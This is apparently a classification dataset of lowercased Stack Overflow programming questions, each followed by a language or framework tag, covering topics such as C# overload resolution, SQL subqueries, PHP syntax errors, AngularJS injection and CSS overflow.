call generic method in c#  consider this code:   <pre><code>static void main(string[] args) {    get&lt;student&gt;(new student());     system.console.read(); }  public static void get&lt;t&gt;(t person) {     console.writeline( generic function ); } public static void get(person person) {     person.show(); } </code></pre>   this my person class:   <pre><code>class person {     public void show()     {         console.writeline( i am person );     } } class student : person {     public new void show()     {         console.writeline( i am student );     } } </code></pre>   i call <code>get</code> and pass student to the method.like this:   <pre><code> get&lt;student&gt;(new student()); </code></pre>   so i get this: <code>generic function</code>.but when i call <code>get</code> like this:   <pre><code> get(new student()); </code></pre>   i expect this<code>get(person person)</code>to be called.but again call:<code>get&lt;t&gt;(t person)</code>. why compiler has this behavior,c#
sql queries is there any website where i get to build tables and test sql queries   is there any website where i get to build tables and test sql queries   i have 3 tables and would like to execute some sql statement but i wanna make sure the queries is correct. i want to see the output.  thank you for your help,sql
escape html tags between <code> </code>  is there any reliable way to escape html tags between &lt;code&gt; and &lt;\code&gt;  without having to take the detour of using &amp;lt; &amp;gt; ...     cheers  beejay!,html
running .net 4 program under lower .net version  is it possible for a .net 4 application to run when only for example .net 3 framework is installed on the computer,.net
java pattern filter  i need created java pattern to filter data  like 13.6gb  12mb 15.5kb i use those code   <pre><code>  pattern   p   =   pattern.compile( (\\d+)(\\w+) );    matcher   m   =   p.matcher(content);   string   num_letter   =   m.group(1);    string    union  =   m.group(2);  </code></pre>   but it can t detect decimal number  so how to modify this pattern,java
how to properly access class functions from another class   so i made a two classes as such:   <pre><code>class husky{ private:      int age;     int weight;   public:      //usual constructor  set  get functions here     //......     void foo(); //&lt;-----this is the problem function. in here  i change the weight variable. } </code></pre>   and here is the second class:   <pre><code>class dog{ private:     vector&lt;husky&gt; h;  public:     husky gethusky(int index);  //returns the husky element at the index given.     void sethusky(husky x){h.push_back(x);}  //adds a husky element to the  h  array. </code></pre>   }    in my main:   <pre><code>int main(){      //note: the initialized value of `weight` is 0.      husky p;     p.foo();     cout &lt;&lt; p.getweight() &lt;&lt; endl;  //this couts 5. foo() did change  weight .       dog g;     husky s;     g.push_back(s);      g.gethusky(0).foo();      cout &lt;&lt; g.gethusky(0).getweight() &lt;&lt; endl;  //this couts 0. foo() did not change  weight .      // why did this not print out 5  </code></pre>   }    give me a clue or something to point me in the right direction please.,c++
storing text file in ipod  can anyone please let me know as where the csv file and pdf file is stored in iphone or ipod. actually my application generates a pdf and csv file but somehow i m not able to know where it is stored in ipod. please help!!!,iphone
can t capture the value of an input field which is in another fieldset  i have 2 fieldsets within one form to separate the form into sections. the problem is  having the submit button in fielset 2 results in the values of fields in fielset 1 not being captured. is there a way to overcome this,html
obtain .net publickeytoken from snk file   how to obtain the publickeytoken from an snk file  using command line tools. i thought about using sn.exe  however  couldn t find a suiting parameter.,.net
parse error: syntax error  unexpected t_string on line 10  when i click the submit button on the page with the form  i get the message:  parse error: syntax error  unexpected t_string...on line 10 . i am new to php and can t figure out why it is wrong. any help would be appreciated. this is the php code:   <pre><code>&lt; php $to= me@my.com ; $subject= bits ; $message=  customer name:  . $_post [ name ].  \r\n .  email:          . $_post [ email ].  \r\n .  \r\n .  ordered bits:   . $_post [  ] .  \r\n  .  $from= $_post [ email ]; $headers =  from: $from .  \r\n ; $headers =  bcc: me2@my.com  .  \r\n ; mail($to $subject $message $headers);  &gt; </code></pre>,php
order of binding of variables in python  i m trying to modify a function which uses a module-level variable variable defined below it  similar to this:   <pre><code>def say_hello():     print(message)  message =  hello  world!   say_hello() </code></pre>   i would like to make the message a parameter  like so:   <pre><code>message =  hello  world!   def say_hello(message=message):     print(message)  say_hello() </code></pre>   i ve noticed that in order for this to work  i had to move the definition of <code>message</code> up in the code. apparently  all module-levels are first  bound  and are then available within function bodies  but when provided as default function arguments  they have to be defined before the function. is this correct      (i would also like to read up on this to fully understand it; any references would be much appreciated).,python
redirect to the page you were before login  i have a page where if you are logged in  you see your username and avatar. if you are not logged in  then you see a connect button that will redirect you to another page where you can enter your username and your password to log in.<br> what i want to do is after you log in and are redirected on the page you were before logging in.   <pre><code> &lt; php session_start();  if (isset($_post[ login ]))  {               .....  header( location:../index.php );  } else  {  ...} </code></pre>   what should i change to header,php
what kind should be my variable in order to support small numbers   i have this code:   <pre><code>return 1.0 / (1 + exp(-x)); </code></pre>   it is used to calculate the value of a sigmoid function for a given x. the problem is that it always returns 1.00000    i started going through the code to see where it fails and i got to this:   <pre><code>long double expv = exp(-x); long double btm = (1 + expv); long double calc = 1.0 / btw; </code></pre>   now the values of the variables are:   <pre><code>(long double) expv = 3.0356148105583944943e-165 (long double) btm = 1 (long double) calc = 1 </code></pre>   so my question is how to fix the problem should i use another type for the variables or should i change something in the code     update btm should be of value: 1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030356148105583944943 as wolframaplha said    the value of x is 1 and x is of type double not long double. i change it to long double and report.,objective-c
get row and column of matrix  i wonder where how to get row and column of this matrix. i want to loop through each element[row][column]  but i have no idea how to get these.   <pre><code>imaginary_axis = 100 real_axis = 1  mixed_matrix = [[0 for j in xrange(imaginary_axis)] for i in xrange(real_axis)]  for row in mixed_matrix[0]:     print(row)     for column in mixed_matrix:          print(column)          check(mixed_matrix[row][column]) </code></pre>   this throws an error. how can i get this to work    <pre class= lang-none prettyprint-override ><code>typeerror: list indices must be integers  not list </code></pre>   i know why i get this error  but i do not know how i can get the column right.,python
sql server connect error: instance failure  i m trying to insert data from excel file into a column of sql database.   <pre><code>protected void button1_click(object sender  eventargs e)     {         using (oledbconnection con = new oledbconnection(configurationmanager.connectionstrings[ excelcon ].connectionstring))         {             con.open();             oledbcommand com = new oledbcommand( select * from [sheet1$]   con);             oledbdatareader dr = com.executereader();             using (sqlconnection sqlcon = new sqlconnection(configurationmanager.connectionstrings[ sql ].connectionstring))             {                 sqlcon.open();                 using (sqlbulkcopy bulkcopy = new sqlbulkcopy(sqlcon))                 {                     bulkcopy.columnmappings.add( excelcolumnheadername    sqlcolumnname );                     bulkcopy.destinationtablename =  tablename ;                     bulkcopy.writetoserver(dr);                 }             }             dr.close();             dr.dispose();         }         response.write( upload successfull! );     } </code></pre>   web config :   <pre><code>   &lt;connectionstrings&gt;   &lt;add name= excelcon  connectionstring= provider=microsoft.ace.oledb.12.0;data source=c:\\users\\john\\desktop\\excelfile.xlsx;extended properties=excel 12.0 /&gt;   &lt;add name= sql  connectionstring= data source=.\\sqlexpress;attachdbfilename= c:\\users\\john\\documents\\visual studio 2010\\projects\\webapplication3\\webapplication3\\app_data\\database1.mdf ;integrated security=true;user instance=true; /&gt;   &lt;add name= connectionstring  connectionstring= data source=.\sqlexpress;attachdbfilename=|datadirectory|\database1.mdf;integrated security=true;user instance=true          providername= system.data.sqlclient  /&gt; &lt;/connectionstrings&gt; </code></pre>   the problem is i m getting this error and i don t know why:   <pre><code>exception details: system.invalidoperationexception: instance failure. here:sqlcon.open(); </code></pre>,sql
how to avoid continual repitition of characters in a text field   i d like to check a  textarea  field to make sure it doesn t contain characters repeated 3 or more times like listed below:   <pre><code>aaaaaaaaaaaaaaaaaa ggggggggggggggg ddddddddddddd </code></pre>   how can i do this using javascript or jquery,javascript
remove unused css on the fly   having a problem at the moment that many of my pages load [using googlepagespeed] and seem to load a lot of unused css.    if i try and split the css - then i get the error that  too many css files . i am wondering whether there are any jquery plugins [or other] that are able to render only the css for the page that is being loaded and ignore the rest      it s sort of like a dynamic css interchanger   would really help ....,css
setting time to abbrevation tag in html  i wrote a abbrevation in html something like this    <pre><code>  &lt;abbr title= how are you &gt;hay&lt;/abbr&gt; </code></pre>   this piece of code show the abbrevation just for 4 or 5 seconds. is is posible to customize this time,html
build sql query with customized virtual values  if i ll execute below query then i m getting more than 1000 records here   <pre><code>select     id  name   default value  as  other   from     emp_table </code></pre>   output:   <pre><code>id  |   name    |   other --------------------------------- 1   |   h       |   default value 2   |   v       |   default value 3   |   d       |   default value </code></pre>   but here i have added on a virtual column with default value of <code>default value</code>. the default value should reflect only for first row instead with all the rows    expected output:   <pre><code>id  |   name    |   other ---------------------------------- 1   |   h       |   default value 2   |   v       |   null 3   |   d       |   null </code></pre>,sql
how to instantiate from a string class name in php   how to create a new instance of the name of the method that returns  unfortunately i get this error:   <blockquote>    error: class name must be a valid object or a string  </blockquote>   here is my code:   <pre><code>class foo {   public function selclass(){     return  home() ;   } }   $foo = new foo(); $bar = new $foo-&gt;selclass(); </code></pre>,php
formatting dates in an array  i have an array which has changing key depending on the table and it can also have custom fields added.  i want to be able to identify if the array contains any values that are dates and then format the date.    i have used two examples here  but they keys could be anything and the dates could be including date and/or time.  the language i am using in my app is php5.5.    any ideas    <pre><code>array ([0] =&gt; array (         [id] =&gt; 1         [filename] =&gt; 1051404995566.png         [createdby] =&gt; 1         [createddate] =&gt; 2014-07-10 13:32:46         [enddate] =&gt; 2014-07-10     ) [1] =&gt; array (         [id] =&gt; 2         [filename] =&gt; 1561404995587.png         [createdby] =&gt; 1         [createddate] =&gt; 2014-07-10 13:33:07         [enddate] =&gt; 2014-08-01     ) ) </code></pre>,php
function of require in angularjs  i have seen this require in custom directive.   <pre><code>require:  ^create  </code></pre>   i can t understand this. can you explain me require in angularjs,angularjs
how do i have the array values saved outside the foreach loop  i have a foreach loop  when looping through  that i am creating a $data array which holds all values    <pre><code>foreach ($this-&gt;arr1[ somevalue ][ object ] as $record ){                     $data_add = array(      code  =&gt; $record[ code ]       some_key  =&gt; $this-&gt;arr[ somevalue ]       lines  =&gt; count($this-&gt;arr[ somevalue ][ object ])         );        }        var_dump($data_add); </code></pre>   now when i say var_dump($data_add) iam getting only the last value for  code   key .the above loop repeats for 3    times that means i will have 3 values .but iam getting only the third value.1st and 2nd values are not displayed.     how  do i get the values.i have an idea saying creating an array(record[ code ]) but did not work out.,php
overflow-x   not working at all   i m doing this proyect: <a href= http://jimenarguelles.mx  rel= nofollow >http://jimenarguelles.mx</a>. there is an odd situation with the overflow.    please scroll the website in horizontal  that should not happen at all.    the <code>class= sidebar </code> is <code>position:absolute</code> <code>right:0</code>    what do you think  do i need to re-structure my css or html,css
merge two uiimage that are rotated & scaled  i am doing an app something like this: you load a photo and you put images over it  like balloons  etc..    when i try to merge one of this over images with only resize it works fine. like 10px more than it should be but no problem.    the problem comes when you rotate the image [uiimageview] it appears much bigger that the image its  i try allot of things and nothing. i leave the code. i hope someone could help.    note: the image size its inside uiimageview  then multiplied it by the scale of the main image   <pre><code>- (uiimage *)mergeimage:(uiimageview *)mainimage withimageview:(uiimageview *)imageview {      uiimage *temp = imageview.image;     uiimage *tempmain = mainimage.image;      cgfloat mainscale = [self imageviewscalefactor:mainimage];     cgfloat tempscale = 1/mainscale;     nslog(@ %f   tempscale);      //rotate uiimage     uigraphicsbeginimagecontext(temp.size);     cgcontextref ctx = uigraphicsgetcurrentcontext();     cgaffinetransform transform = cgaffinetransformidentity;     transform = cgaffinetransformtranslate(transform  temp.size.width/2  temp.size.height/2);         cgfloat angle = atan2(imageview.transform.b  imageview.transform.a);         transform = cgaffinetransformrotate(transform  angle);     transform = cgaffinetransformscale(transform  1.0  -1.0);     cgcontextconcatctm(ctx  transform);     // draw the image into the context     cgcontextdrawimage(ctx  cgrectmake(-temp.size.width/2  -temp.size.height/2  temp.size.width  temp.size.height)  temp.cgimage);     // get an image from the context     temp = [uiimage imagewithcgimage: cgbitmapcontextcreateimage(ctx)];       nslog(@ %f %f %f   mainscale  mainimage.frame.size.width  mainimage.frame.size.height);      uigraphicsbeginimagecontextwithoptions(tempmain.size  no  1.0f);      //get imageview size &amp; position      nslog(@ %f %f %f %f   imageview.frame.origin.x  imageview.frame.origin.y  imageview.frame.size.width  imageview.frame.size.height);      cgfloat offsetx = 0;     cgfloat offsety = -44;      if (tempmain.size.height &gt; tempmain.size.width) {         offsetx = ((tempmain.size.width * mainscale) - 320)/2;     }else{         offsety = ((tempmain.size.height * mainscale) - 416)/2;         offsety -= 44;     }      cgfloat imageviewx = (imageview.frame.origin.x + offsetx) * tempscale;     cgfloat imageviewy = (imageview.frame.origin.y + offsety) * tempscale;     cgfloat imagevieww = imageview.frame.size.width * tempscale;     cgfloat imageviewh = imageview.frame.size.height * tempscale;       cgrect temprect = cgrectmake(imageviewx  imageviewy  imagevieww  imageviewh);       [tempmain drawatpoint:cgpointzero];     [temp drawinrect:temprect];      uiimage *newimage = uigraphicsgetimagefromcurrentimagecontext();     uigraphicsendimagecontext();      return newimage; } </code></pre>   thanks,ios
angular component controller injection issue  angular 1.5 introduced <a href= https://docs.angularjs.org/guide/component  rel= noreferrer >components</a> (<em>special kind of directive</em>)    for directive we can write:   <pre><code>app.directive( mydirective               [ $timeout   $mdtoast   $rootscope    // &lt;-- injection             function ($timeout  $mdtoast $rootscope) { return {    link: {}      //...         }     } </code></pre>   how can we write injection for components      for sure i can write  something like:   <pre><code>app.component( mycomponent    {             restrict:  e               bindings: {                 data:  =              }              templateurl:  template.html               controlleras:  vm               controller:  mycomponentctrl      }); </code></pre>   and:   <pre><code>app.controller( mycomponentctrl        [ $scope     $timeout         function ($scope  $timeout) {    // .... }]);  </code></pre>   but i want to write <em>build-in</em> controller  like:   <pre><code>app.component( mycomponentctrl   {   templateurl:  template.html     controller: function($scope  $timeout) {     //...   } }); </code></pre>   above mentioned style minifying (grunt) will brake my code <code>unknown provider: aprovider &lt;- a</code>      so <strong>how to write properly injection for components </strong>    any ideas     the demo i use <kbd><a href= http://plnkr.co/edit/ik9ivghdpdtfa3ka2mag p=preview  rel= noreferrer >plunker</a></kbd>,angularjs
why does my uiapplicationdelegate receive applicationdidbecomeactive when pulling down notification center   i ve built a bare application with no functionality in xcode  and put logging statements in the applicationdidbecomeactive and applicationwillresignactive methods.    when i swipe down to show the notification center  i see the following:    2018-01-03 10:18:16.867028+0000 bareproject[1165:2053601] resigning active    2018-01-03 10:18:17.510713+0000 bareproject[1165:2053601] active    2018-01-03 10:18:17.634805+0000 bareproject[1165:2053601] resigning active    is this intended  my code does quite a lot of work when becoming active  only to have the rug pulled out from it again about 120ms later  and it seems that the documentation says i should be using applicationdidbecomeactive to restart tasks: <a href= https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622956-applicationdidbecomeactive language=objc  rel= nofollow noreferrer >https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622956-applicationdidbecomeactive language=objc</a>    i tried this on ios 10.3 and this behavior does not exist.,ios
ios: is removing the 1x images from the ios app a good idea   should we remove 1x images if we are no longer using non retina display  my app only supports iphone 4 and higher.,ios
update: subquery returned more than 1 value  i am having a problem  and i can t figure out how to fix this query.  i have a temp table  one of the columns should contain a calculated value of another column divided by a sum of groups of that column.  i don t know how to write this so that i avoid the error.   <pre><code>declare @temp table (                zipcode char(5) not null      statefacilityid varchar (50) not null      cnt int not null      marketshare float      row int not null      primary key clustered (zipcode  statefacilityid) );   insert into @temp (zipcode  statefacilityid  cnt  row) select d.zipcode  d.statefacilityid  cnt = count(*)  row = row_number()over(partition by zipcode order by count(*) desc) from [marketshareiqdata].[dbo].[tblservicesdetail] d     group by d.zipcode  d.statefacilityid ;   update @temp set marketshare =(h.cnt/(                 select sum(h.cnt)                 from @temp h                 group by zipcode                 )) from @temp h </code></pre>,sql
bug reporting tool  i m searching for a tool or library that can be connected to an application and keeps track of what the user has been doing: opened windows  actions performed and so on  within the context of an application. something like log4j or log4net or...    the aim is to attach that information to a stack trace  platform useful information and all that and help us to fix bugs.    is there such an application     what i want is not a bug tracker; i know a lot about lots of them: jira  mantis  bugzilla  ontime  versionone  rally...    what i really want is some software that  attached  somehow to my application does the same (well not the same because it s amazing  so let s say  does its best ) as visualstudio 2010 ultimate intellitrace feature  or something like firefox  thunderbird or even windows when something goes wrong.    something like showing a dialog to the user to send a report of the crash or eventual error including the message and stacktrace (of course)  and additionally a description of the steps followed that led to that situation.    that d be really great.    of course we could develop that in our application  but if there s something out there already done and working fine...,.net
is this css accepted and well-defined  or a failure-prone hack   is hiding a <code>&lt;br /&gt;</code> tag with css a well defined way to make line breaks conditional on the definition of the tag s css style  is it portable across browsers  when i want it to show  is  inline  the best display type to use     given the following css and html    <pre><code>&lt;style type= text/css &gt;   .maybe-hidden {display:inline} &lt;/style&gt;  abra&lt;br class= maybe-hidden  /&gt; ca&lt;br class= maybe-hidden  /&gt; dabra&lt;br class= maybe-hidden  /&gt; </code></pre>   i expect to see:   <pre><code>abra ca dabra </code></pre>   changing the maybe-hidden to be <code>maybe-hidden {display:hidden}</code>  i expect to see   <pre><code>abracadabra </code></pre>   edit:    i appreciate the answers about how better to do this. what i perhaps failed to say is that this would be in generated html  and changing the css class of the actual element  as some suggested  would not be feasible.    but changing the style s definition is feasible  as is changing the class of the <em>parent/enclosing/containing</em> html element.    that s why i needed to know if this was well-defined. while i m going to accept an answer that answered that question  that in no way means that i think the answers suggesting changing the class are  wrong ; they re just not feasible in my situation.,css
python error: read the contents in a file into variable  i was doing this in shell successfully   <pre><code>readonly file= /home/xxxx/file.txt  text=$(cat ${file}) </code></pre>   trying the same in python   <pre><code>text = open( file.txt ).read() print text </code></pre>   i am trying this and got an error:   <pre><code>traceback (most recent call last):   file  c:\python27\lib\runpy.py   line 174  in _run_module_as_main      __main__   fname  loader  pkg_name)   file  c:\python27\lib\runpy.py   line 72  in _run_code     exec code in run_globals   file  c:\python27\lib\py_compile.py   line 170  in &lt;module&gt;     sys.exit(main())   file  c:\python27\lib\py_compile.py   line 162  in main     compile(filename  doraise=true)   file  c:\python27\lib\py_compile.py   line 106  in compile     with open(file   u ) as f: ioerror: [errno 22] invalid mode ( u ) or filename:    </code></pre>   thanks!,python
comapring two objects of the same type in .net  is there a straight forward way in .net to compare two objects of same types.    is there something like compare(object1  object2) that can return a bool based on equality of the object properties values     i have read about the icomparable and icomparer interfaces but i am looking at comparision of all the properties instead of just one or two.    regards.,.net
annoying mysql error (tried everything  nothing has worked)  after recently compiling and attempting to test a basic forum assembly  i ran into a surprising mysql error:   <pre><code>forum.forumexception: mysql.data.mysqlclient.mysqlexception (0x80004005): you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  desc) values( bar    bar )  at line 1 at ... </code></pre>   here is the createboard function from the forum assembly:   <pre><code>        public int createboard(string bname  string bdesc)         {             mysqlconnection con = new mysqlconnection(constring);             mysqlcommand cmd = new mysqlcommand( insert into boards (name  desc) values( name   desc)   con);             int res_id = 0;              try             {                 //cmd.commandtext =  insert into boards(name  desc) values( name   desc) ;                 cmd.parameters.add(  name   mysqldbtype.varchar).value = bname;                 cmd.parameters.add(  desc   mysqldbtype.varchar).value = bdesc;                 con.open();                 cmd.executenonquery();                 //get the id of the new board                 //cmd.commandtext =  select last_insert_id() from boards ;                 //res_id = (int)cmd.executescalar();                 return res_id;             }             catch (exception yf)             {                 throw new forumexception(yf.tostring());             }             finally             {                 con.close();             }         } </code></pre>   and finally  here is the code snippet from the test page  a.aspx    <pre><code>protected void page_load(object sender  eventargs e) {     forum f = new forum();     try     {         int b = f.createboard( foo    bar );         if (b == 0)         {             response.write( board creation failure :( );             return;         }         response.write( board create with id    + b +     name  foo   and description  bar  );     }     catch (forumexception ff)     {         response.write(ff.tostring());     } } </code></pre>   it appears that a random quote comes out of nowhere when the query is executed. can anyone please help me with this  i ts been frustrating to solve.,mysql
how to restrict multiple login in same browser  in my project  there are four logins: admin  teacher  student and parent  and four master pages respectively. in logintable  typeid is stored as 1-student 2-teacher 3-parent 4-admin.    during login  i am checking the type and according to typeid  i lead to corresponding master page.    my problem is that  when i login as admin  it leads to admin master page. when i take another tab and in login page  i am able to login as another user. i don t want to take multiple logins in same browser. how can i restrict this     eg: when i login as teacher  teacher master page is opened and take next tab and when i login as student  it should not to be allowed    my code for login   <pre><code>int type = dallogin.logingettype(login1.username); if (type == 1) { response.redirect( student.aspx ); } else if (type == 2) { response.redirect( teacher.aspx ); } else if (type == 3) { response.redirect( parent.aspx ); }  else if (type == 4) { response.redirect( admin.aspx ); } </code></pre>,asp.net
ngoptions setting value attribute of option to unexpected values  i have some doubts with using ngoptions. i am not able to set value attribute for the option items.here is <a href= http://plnkr.co/edit/bujocgsl5sbm8vwvef7f p=preview  rel= nofollow >example plunker</a>   <pre><code>  $scope.listofvalues=[{optiontext: active  optionvalue: opt1 }       {optiontext: inactive  optionvalue: opt2 }       {optiontext: terminated  optionvalue: opt3 }]; </code></pre>   and my html code is    <pre><code> &lt;select id= emptype  ng-model= empstatus  ng-options= emp.optionvalue as emp.optiontext  for emp in listofvalues &gt; &lt;/select&gt; </code></pre>   the generated html is as shown below.   <pre><code>&lt;select id= emptype  ng-model= empstatus  ng-options= emp.optionvalue as emp.optiontext  for emp in listofvalues  class= ng-valid ng-dirty ng-valid-parse ng-touched &gt;   &lt;option value= string:opt1  label= active &gt;active&lt;/option&gt;   &lt;option value= string:opt2  label= inactive &gt;inactive&lt;/option&gt;   &lt;option value= string:opt3  label= terminated &gt;terminated&lt;/option&gt; &lt;/select&gt; </code></pre>   i was expecting it to be as shown below   <pre><code>&lt;select id= emptype  ng-model= empstatus  ng-options= emp.optionvalue as emp.optiontext  for emp in listofvalues  class= ng-valid ng-dirty ng-valid-parse ng-touched &gt;       &lt;option value= opt1  label= active &gt;active&lt;/option&gt;       &lt;option value= opt2  label= inactive &gt;inactive&lt;/option&gt;       &lt;option value= opt3  label= terminated &gt;terminated&lt;/option&gt;  &lt;/select&gt; </code></pre>   so why does it add string: to the value attribute  how i can get my desired output,angularjs
get previous page url via javascript after window.open  if i have a script which calls <code>window.open</code>  loading a new page into the same window  then that new page s javascript needs to identify the previous page s url - what is the best way to find it,javascript
string that has been used in parseint - get string value back again  simple question  -     how do i convert a string that has been through parseint back to it  string value    <pre><code>var myint = parseint( j   36); //19 var mystring = myint.tostring(); //returns  19  i would like it to return  j  </code></pre>   can i do it with longer strings    <pre><code>var myint = parseint( jon o reiley   36); //25511 </code></pre>,javascript
swap two variables without using a third variable as an intermediary position  write a program to swap two variables without using a third variable as an intermediary  position.   <pre><code>a=2; b=3; a=a*b; // 6 b=a/b; // 2 a=a/b; // 3 a=3 and b=2 </code></pre>       is it true   i have errors in it,c++
rails form helpers: how to add an element to a collection   i have a keychain object. keychain has_many credentials.    i m trying to write the view code to add a new credential to a keychain. this is the code i have:   <pre>&lt;% form_for(@keychain) do |f| %>           &lt;tr>             &lt;td>&lt;%= f.select  credentials[]   current_account.services.collect{ |s|                      [s.friendly_name  s.id] } %>&lt;/td>             &lt;td>&lt;%= f.text_field  credentials   :username %>&lt;/td>             &lt;td>&lt;%= f.password_field  credentials   :password %>&lt;/td>           &lt;/tr> &lt;% end %> </pre>   but it fails with this message:   <pre>nomethoderror in keychains#new  showing app/views/keychains/_keychain_form.html.erb where line #32 raised:  undefined method `credentials[]  for # </pre>   what am i doing wrong,ruby-on-rails
how to popup a messagebox on button click without using javascript  i want to popup a message box without using javascript. i want to use c#.    i want to get the popup on the click event of submit button.,asp.net
how is php unescaping a string   i know php unescape a string as it s outputted. but i don t understand why    <pre><code>echo  \\\/ ; </code></pre>   generates the result   <pre><code>\\/ </code></pre>   anybody has idea,php
get data from different timeframe  i have this query    <pre><code>select concat(order_delivery_data.order_delivery_data_name   sent )         sum(case `order`.order_status when  sent  then 1 else 0 end)  0-7 days  from order_delivery_data      inner join `order` on order_delivery_data.order_id = `order`.order_id where order_delivery_data.order_delivery_data_name in ( казахстан казпочта )       and order_statusupdatedat &gt;= date_sub(current_date  interval 7 day) union select concat(order_delivery_data.order_delivery_data_name   parcelonaplace )        sum(case `order`.order_status when  parcel-on-a-place  then 1 else 0 end) parcelonaplace from order_delivery_data      inner join `order` on order_delivery_data.order_id = `order`.order_id where order_delivery_data.order_delivery_data_name in ( казахстан казпочта )       and order_statusupdatedat &gt;= date_sub(current_date  interval 7 day)  </code></pre>   which is show 2 columns.  how get one more columns in same query like this     <a href= https://i.stack.imgur.com/qco1v.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qco1v.jpg  alt= enter image description here ></a>,mysql
jquery .removeclass not working  this probably won t be very hard for more experienced jquery users  but i ve been stumped. i have sets of divs on a page that are related. #vendor-1 &amp; #vendor-1-content  #vendor-2 &amp; #vendor-2-content  etc.    when the user clicks on #vendor-1  it add the class .is-visible to the #vendor-1-content. they can then click an  x  that will  close  the content by removing the .is-visible class. this is my code which works fine for just one div:   <pre><code>$( #vendor-1 ).click(function(){   $( #vendor-1-content ).addclass( is-visible ); });  $( #close ).click(function(){   $( .vendor-content ).removeclass( is-visible ); }); </code></pre>   i added the following code so that whichever id the user clicks  the corresponding content id gets the class .is-visible. the issue is that the #close portion only works on vendor-1-content. all of the other divs open properly  but won t close when clicked.   <pre><code>$(function (){   $( [id^=vendor-] ).click(function (){     var num = this.id.split( vendor- )[1];     var vendorid =  #vendor-  + num +  -content ;      $(vendorid).addclass( is-visible );      $( #close ).click(function() {       $(vendorid).removeclass( is-visible );     });   }); }); </code></pre>   what am i doing wrong in order to make the .is-visible be removed from the content class     my html looks like this for each:   <pre><code>&lt;div class= col-xs-12 col-sm-6 col-md-4 vendor-card  id= vendor-1 &gt;     &lt;img src= https://placeholdit.imgix.net/~text txtsize=28&amp;bg=0099ff&amp;txtclr=ffffff&amp;txt=300%c3%97300&amp;w=300&amp;h=300&amp;fm=png  alt=  &gt;     &lt;div class= vendor-info &gt;       &lt;h3&gt;vendor name&lt;/h3&gt;       &lt;p&gt;short vendor description&lt;/p&gt;     &lt;/div&gt;   &lt;/div&gt;  &lt;div class= vendor-content  id= vendor-1-content &gt; &lt;div&gt;   &lt;h2&gt;vendor title here&lt;/h2&gt;   &lt;em&gt;lorem ipsum dolor sit amet  consectetur adipisicing elit. sunt  ullam.&lt;/em&gt;   &lt;p&gt;       lorem ipsum dolor sit amet  consectetur adipisicing elit. illum praesentium officia  fugit recusandae ipsa  quia velit nulla adipisci  consequuntur aspernatur at  eaque hic repellendus sit dicta consequatur quae  ut harum ipsam molestias maxime non nisi reiciendis eligendi! doloremque quia pariatur harum ea amet quibusdam quisquam  quae  temporibus dolores porro doloribus.    &lt;/p&gt; &lt;/div&gt; &lt;a href= #0  class= close-content cd-img-replace  id= close &gt;close&lt;/a&gt; &lt;/div&gt;  </code></pre>   here is a codepen example of the code: <a href= http://codepen.io/tambe257/pen/mpazvw  rel= nofollow >http://codepen.io/tambe257/pen/mpazvw</a>,jquery
passing a float between scenes  i pretty much have the same question as <a href= https://stackoverflow.com/questions/18885490/spritekit-passing-data-between-scenes >this one</a>. but it doesn t explain how to retrieve the score from the dictionary. i want to pass a float called score to another scene.    i have the following code in my update method:   <pre><code>if (lives == 0) {     skscene * nextscene = [[gameoverscene alloc] initwithsize:self.size];      nextscene.userdata = [nsmutabledictionary dictionary];     nsnumber * scorefordictionary = [nsnumber numberwithfloat:score];     [nextscene.userdata setobject:scorefordictionary forkey:@ score ];      [self.view presentscene:nextscene]; } </code></pre>   i have this code in the other scene:   <pre><code>-(id)initwithsize:(cgsize)size {     if (self = [super initwithsize:size]) {         nsnumber * scorenumber = [self.view.scene.userdata objectforkey:@ score ];         score = [scorenumber floatvalue];          [self showscore];     }     return self; } </code></pre>   i think this is the way to do it  but it doesn t work. can you please explain how to pass a float to another scene,objective-c
rails join table in trestle/admin  i m rewriting an old php application in rails 5.1 and migrating the database  too.    i have the two tables with data:   <pre><code>table: jobs id   library ------------- 20   foo-20 200  bar-200  table: manuscripts id    job_id  shelfmark ----------------------- 743   200     ms0403 </code></pre>   what i m trying to achieve is to display:   <pre><code>library    shelfmark  --------------------- bar-200        ms0403 </code></pre>   but i m getting foo-20 instead of bar-200 for library:   <pre><code>library    shelfmark -------------------- foo-20     ms0403 </code></pre>   the foreign key job_id seems to be wrongly referenced.    and the models:   <pre><code>class job &lt; applicationrecord   has_one :manuscripts end  class manuscript &lt; applicationrecord   has_one :job   belongs_to :job end </code></pre>   in trestleadmin app/admin/manuscripts_admin.rb   <pre><code>trestle.resource(:manuscripts) do    table do     column :library  -&gt;(ob) { ob.job.library }     column :shelfmark   end end </code></pre>   how can i correct that,ruby-on-rails
hiding text in a table cell  like the title says  i have a table with many rows and columns. the text within the cells will be populated dynamically. if a column has a set width and the amount of characters exceeds this width  i want the excess text to be hidden rather than the column made wider. how can i achieve this  i tried <code>overflow:hidden</code> in the <code>&lt;td&gt;</code> style without success.,html
is < > higher than all others in the java wildcard subtype hierarchy   i m doing a review for a final tomorrow. i m being asked to draw the subtype hierarchy of the following types. i want to make sure all the answers i ve gotten are correct. i kept in mind generic rules regarding subtypes. is this correct    <ol> <li> <code>list&lt; &gt;</code>  <code>list&lt;integer&gt;</code>  <code>list&lt;object&gt;</code>  <code>list&lt;number&gt;</code>  <code>list&lt;  extends number&gt;</code>  <code>list&lt;  super number&gt;</code> </li> <li> <code>set&lt;integer&gt;</code>  <code>list&lt;string&gt;</code>  <code>object</code>  <code>collection&lt;integer&gt;</code>  <code>collection&lt;object&gt;</code>  <code>collection&lt; &gt;</code> </li> </ol>   my drawing:   <blockquote>    <img src= https://i.stack.imgur.com/kaobr.jpg  alt= enter image description here >  </blockquote>,java
make html text unselectable  first  i have been here <a href= https://stackoverflow.com/questions/2310734/how-to-make-html-text-unselectable >how to make html text unselectable</a><br> but that doesn t solve my issue  (the javascript version works well  but i need to make it using html and css  <strong>i cannot use javascript</strong>) i used the recommended css  but look at my <a href= http://jsfiddle.net/7rxqc/3/  rel= nofollow noreferrer >demo</a> drag the mouse from [drag from here] to [to here] you will see that the text is still selectable.<br> any way to make it <strong>really</strong> unselectable  <br>thanks,html
